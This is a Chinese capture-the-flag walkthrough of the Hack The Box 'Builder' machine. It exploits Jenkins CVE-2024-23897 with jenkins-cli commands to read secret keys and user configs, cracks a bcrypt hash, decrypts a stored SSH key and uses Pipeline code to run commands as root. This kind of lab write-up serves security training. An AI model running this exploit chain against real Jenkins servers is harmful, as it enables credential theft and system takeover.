Builder
0x01 侦查
端口扫描
首先使用 nmap 进行全端口扫描
nmap -Pn -p- 10.10.11.10 -oA Builder.nmap --min-rate=1000
针对开放端口进一步扫描
nmap -Pn -p 22,8080,62829 -sV -sC 10.10.11.10 --min-rate=500
访问网站为 Jenkins 代码构建平台,版本为 2.441
浏览平台存在未授权访问信息,其中用户名为jennifer
任意文件读取
通过谷歌搜索 Jenkins 2.441 相关漏洞,成功找到任意文件读取漏洞(CVE-2024-23897)。该漏洞允许攻击者使用 Jenkins 命令解析器特性来读取系统上的任意文件
在 Github 中找到相关的漏洞利用代码,执行后成功读取到文件内容,但返回内容并不完全
python3 CVE-2024-23897.py -t 10.10.11.10 -p 8080 -f /etc/passwd
脚本提示可使用jenkins-cli.jar
,访问以下路径可下载该工具
/jnlpJars/jenkins-cli.jar
下载成功后查看工具的帮助命令,其中参数-s
指定 Jenkins 服务器 URL
java -jar jenkins-cli.jar help
指定 URL 后输入help
会返回可执行命令,不同命令会导致文件读取行数不同
java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ help
使用who-am-i
参数查看当前权限为anonymous
java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i
以/etc/passwd
为例成功读取服务器中的文件内容
java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i "@/etc/passwd"
成功在 Jenkins 目录下拿到第一个flag
java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i "@/var/jenkins_home/user.txt"
0x02 上线[root]
Jenkins信息枚举
在 Jenkins 中默认存在的敏感文件如下:
/var/jenkins_home/users/users.xml #保存 Jenkins 用户的基本信息,例如用户列表、用户组等
/var/jenkins_home/users/*/config.xml #保存特定用户的配置信息,比如用户密码、Token、权限信息等
/var/jenkins_home/secrets/initialAdminPassword #保存管理员的初始密码
/var/jenkins_home/secret.key #主要作为 Jenkins 实例的主加密密钥,用于加密其中的敏感信息,比如密码、令牌等
/var/jenkins_home/secrets/master.key #与 secret.key 类似,同样用于加密其他加密密钥和敏感数据。
/var/jenkins_home/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac #用于存储“记住我”功能的安全密钥,Jenkins 使用该密钥验证和加密相关 Cookie,允许用户浏览器会话保持登录状态
在文件内容较短可使用who-ami-i
,比如获取 Jenkins 的主加密秘钥
java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ who-am-i "@/var/jenkins_home/secret.key"
而当文件内容较长时可使用connect-node
,比如获取 Jenkins 的用户列表,其中jennifer_12108429903186576833
主要作为用户jennifer
的唯一标识符
java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ connect-node "@/var/jenkins_home/users/users.xml"
获取jennifer
用户信息,成功找到用户邮箱为[email protected]
java -jar jenkins-cli.jar -noCertificateCheck -s http://10.10.11.10:8080/ connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"
与此同时找到密码的哈希值为$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
哈希破解
使用 hashcat 判断哈希值类型为bcrypt
hashcat password.hash
指定字典后对哈希值进行爆破,成功拿到明文密码为princess
hashcat -m 3200 password.hash /usr/share/wordlists/rockyou.txt --force
Jenkin登录
使用jennifer/princess
成功登录 Jenkins
在全局凭据中找到用户 root 的 SSH 私钥,点击右侧的按钮进行查看
查看网页源码找到隐藏的私钥加密字符串
在 Jenkins 脚本控制台下解密这串字符串,成功拿到对应的 SSH 私钥
println(hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZ...}"))
在 Jenkins 控制台中可构建项目代码,点击Create a job
进行构建
输入项目名称为mac
后点击OK
使用示例创建代码如下用于输出Hello World
保存后点击Build Now
构建项目
在控制台成功输出字符串Hello World
插件RCE
浏览控制台找到两个关于 SSH 的插件,其中SSH Agent
允许在 Jenkins 中提供 SSH 凭据后处理 SSH 操作
查看相关插件参考后编写 Pipeline 代码连接 SSH 并执行命令,但提示未找到特定的凭据
node {
sshagent (credentials: ['ssh-credentials-id']) {
sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 uname -a'
}
}
重新查看全局凭据发现对应的 ID 号为1
修改代码后再次执行,返回主机信息说明命令执行成功
node {
sshagent (credentials: ['1']) {
sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 uname -a'
}
}
在管理员目录下成功找到.ssh
目录,其中存放着 SSH 密钥
node {
sshagent (credentials: ['1']) {
sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 find /root'
}
}
查看管理员私钥可知与先前解密的 SSH 私钥相同
node {
sshagent (credentials: ['1']) {
sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.11.10 cat /root/.ssh/id_rsa'
}
}
SSH私钥登录
利用拿到私钥成功登录管理员
chmod 400 ssh-private-key
ssh -i ssh-private-key [email protected]
在管理员目录下成功拿到第二个flag
原文始发于微信公众号(A11Safe):HTB-Builder
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论